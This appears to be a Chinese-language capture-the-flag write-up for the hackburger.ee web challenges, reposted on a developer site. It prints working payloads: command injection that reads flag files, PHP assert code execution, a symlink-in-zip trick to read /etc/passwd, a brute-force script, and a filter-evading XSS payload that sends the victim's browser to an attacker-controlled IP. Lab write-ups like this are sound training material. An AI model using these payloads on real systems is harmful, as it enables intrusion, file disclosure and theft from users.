内容简介:一共有10道题目,还有两道没做出来,后续做出来了再更新。题目的入口,A ping utility, to ping stuff, you know
一共有10道题目,还有两道没做出来,后续做出来了再更新。
题目的入口, https://hackburger.ee/challenge/ 。
Warmup
A ping utility, to ping stuff, you know
命令执行漏洞,用分号执行两条命令。
127.0.0.1;ls
获取到flag位置。
127.0.0.1;cat flag.php
不行,尝试 127.0.0.1;tac flag.php
获取到flag。
Number to ASCII converter
A tool to convert numbers to ASCII characters
assert中可以直接执行命令。
?number=eval(system("cat%20where/is/the/flag/i/am/looking/for/flag.php"))
获取到flag。
That’s not how you write signup
A login form and a registration form. With some problems (but not SQL injection, SQLi is boring).
题目中给出了一个注册和登陆的界面,但又提示不是 sql 注入。在源码中得知需要admin登陆,猜测 mysql 长度截断漏洞。注册用户名 admin(空格)1111
即可登陆admin账号。getflag。
Enter password to get candy
A challenge where you put password and get candy (or a “bad password” message).
不知道是不是考的若比较,反正跑了一下字典{“password”:0}的时候就出flag了。
File search
Here you can search files
大致的逻辑是输入字符串,如果他在某个文件中的化就会输出文件的文件名。
import requests import string url = "http://burger.laboratorium.ee:8004/" strt = string.digits+string.ascii_lowercase+'_-+' flag = '' def right(str_r): for i in strt: flag = str_r+i data = {'query':flag} s = requests.post(url = url,data = data) if('flag.txt' in s.text): str_r=flag print('right----',str_r) str_r = right(str_r) break return str_r def left(str_l): for i in strt: flag = i+str_l data = {'query':flag} s = requests.post(url = url,data = data) if('flag.txt' in s.text): str_l=flag print('left----',str_l) str_l = left(str_l) break return str_l right(left(flag))
Zip file browser
for browsing zip files
我们先上传一个zip包里面存入一个1.txt内容为it work,然后让服务器解压成功的读取到了其中的内容。
尝试读取一个不存在的文件,服务器直接报错。
file_get_contents(/tmp/dir_hackme5_5270159094052007086260766287487917142363/2.txt): failed to open stream: No such file or directory in /home/hackme5/task/index.php on line 41
这样的化我们可以尝试一下文件遍历,但是过滤了 /
只要输入了/就会提示hax0r no!,一番尝试无果之后,看到了一个师傅写的关于这题的writeup: https://xz.aliyun.com/t/2589。
主要是利用的软连接上传,我们通过将软连接文件打包到zip中上传,然后读取其中的软连接文件。
首先 ln -s /etc/passwd 1.txt
生产我们的文件,然后zip -y 1.zip 1.test打包到我们zip文件夹中,上传即可。flag的化我们用之前报错出来的路径软连接读取index.php即可。
Magic
The description left out intentionally.
用扫描器直接扫到robots.txt,index.php,.git,拼接起来即可。
We tried to clone pastebin
But we failed miserably
扫描器扫了一哈,发现源码在 index.php~
,看了一下源码好像我们是可以通过日期生产文件的hash然后去访问文件的,而且存在3个可疑的文件是2017年生成的。
2017-07-23 19:15:11 2017-07-23 19:15:27 2017-07-23 19:15:44
我们生产一下所有的文件,然后用burp访问一下
<?php $time_data = ['2017-07-23 19:15:11','2017-07-23 19:15:27','2017-07-23 19:15:44','2018-08-21 16:39:03','2018-08-21 16:39:32','2018-08-21 16:40:00','2018-08-21 16:59:13','2018-08-21 16:59:50','2018-08-21 17:00:09','2018-08-21 17:00:25','2018-08-21 17:00:42','2018-08-21 17:01:07','2018-08-21 17:02:43','2018-08-21 17:03:15','2018-08-21 17:04:45','2018-08-21 20:45:00','2018-08-22 00:16:16','2018-08-22 00:18:17','2018-08-22 02:53:08','2018-08-22 02:53:33','2018-08-22 02:53:57','2018-08-22 02:54:41','2018-08-22 02:56:28','2018-08-22 02:57:17','2018-08-23 13:20:36','2018-08-23 13:22:16','2018-08-23 13:23:25','2018-08-23 13:23:59','2018-08-23 13:24:38','2018-08-23 18:29:28','2018-08-23 18:29:55','2018-08-23 18:29:59','2018-08-23 18:30:29','2018-08-24 01:41:31','2018-08-24 01:43:16','2018-08-24 01:43:23','2018-08-24 01:43:33','2018-08-24 01:45:13','2018-08-24 01:45:55','2018-08-24 01:47:32','2018-08-24 12:07:06','2018-08-24 12:08:22','2018-08-24 12:08:23','2018-08-24 12:08:24','2018-08-24 12:08:25','2018-08-24 12:08:26','2018-08-24 12:11:36','2018-08-26 17:18:45','2018-08-26 17:20:23','2018-08-26 17:25:15','2018-08-26 17:25:56','2018-08-27 12:27:12','2018-08-27 12:28:57','2018-08-27 12:32:18','2018-08-27 12:36:37','2018-08-27 12:39:07','2018-08-28 02:47:31','2018-08-28 02:57:08','2018-08-28 03:05:03','2018-08-28 03:05:23','2018-08-28 03:06:53']; foreach ($time_data as $value) { $time = strtotime($value); $hash = md5($time . $time . "6548b41279a6a0ecf4d210fdd078a19b63ed08e0" . sha1($time)); echo $hash.'</br>'; }
但是这3个2017的文件是404,感觉是不是时间纪录错了,又试了试修改后面的秒无果。对小时进行了尝试的得到flag。
<?php $time_data = ['2017-07-23 19:15:11','2017-07-23 19:15:27','2017-07-23 19:15:44']; foreach ($time_data as $value) { $time = strtotime($value); for($n=0;$n<25;$n++) { $time-=3600; $hash = md5($time . $time . "6548b41279a6a0ecf4d210fdd078a19b63ed08e0" . sha1($time)); echo $hash.'</br>'; } }
Comment box
I know you want to comment things, so I added a challenge with a comment box.
这题没做出来,但是还是纪录一哈。
题目就给了一个输入,随便提交之后会提示会有人审核,猜测是xss题。
手动测试了一下发现过滤了:
script,on,object,',",src=,base64,video,expression
过滤的 src=
可以用 src =
来绕过,就想到了用标签和data协议来触发xss。
<script>document.location='http://ip'</script>转hex <embed src = data:text/html,%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%69%70%27%3c%2f%73%63%72%69%70%74%3e> 可以在本地触发,但是我们提交这个payload会提示被过滤了猜测服务器将我们的输入urldecode了一次,所以我们在encode一次。 <embed src = data:text/html,%253c%2573%2563%2572%2569%2570%2574%253e%2564%256f%2563%2575%256d%2565%256e%2574%252e%256c%256f%2563%2561%2574%2569%256f%256e%253d%2527%2568%2574%2574%2570%253a%252f%252f%2569%2570%2527%253c%252f%2573%2563%2572%2569%2570%2574%253e> 可以在题目中触发,可以在vps上收到信息。
但是在data协议中无法操作cookie,而且有一些操作在他的服务器,我不知道是不是data协议的问题我也收不到消息,下次想到什么好的payload再补这题把。
以上所述就是小编给大家介绍的《hackburger》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。